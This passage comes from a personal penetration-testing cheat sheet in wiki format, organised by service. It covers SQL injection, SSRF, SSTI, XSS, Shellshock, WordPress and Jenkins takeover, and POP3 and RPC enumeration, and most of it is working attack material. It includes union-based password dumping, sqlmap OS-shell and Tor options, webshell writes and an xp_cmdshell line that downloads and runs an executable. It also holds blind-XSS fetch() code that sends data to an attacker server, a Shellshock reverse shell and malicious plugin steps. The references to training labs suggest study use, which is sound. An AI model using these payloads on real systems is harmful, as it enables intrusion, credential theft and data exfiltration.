%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
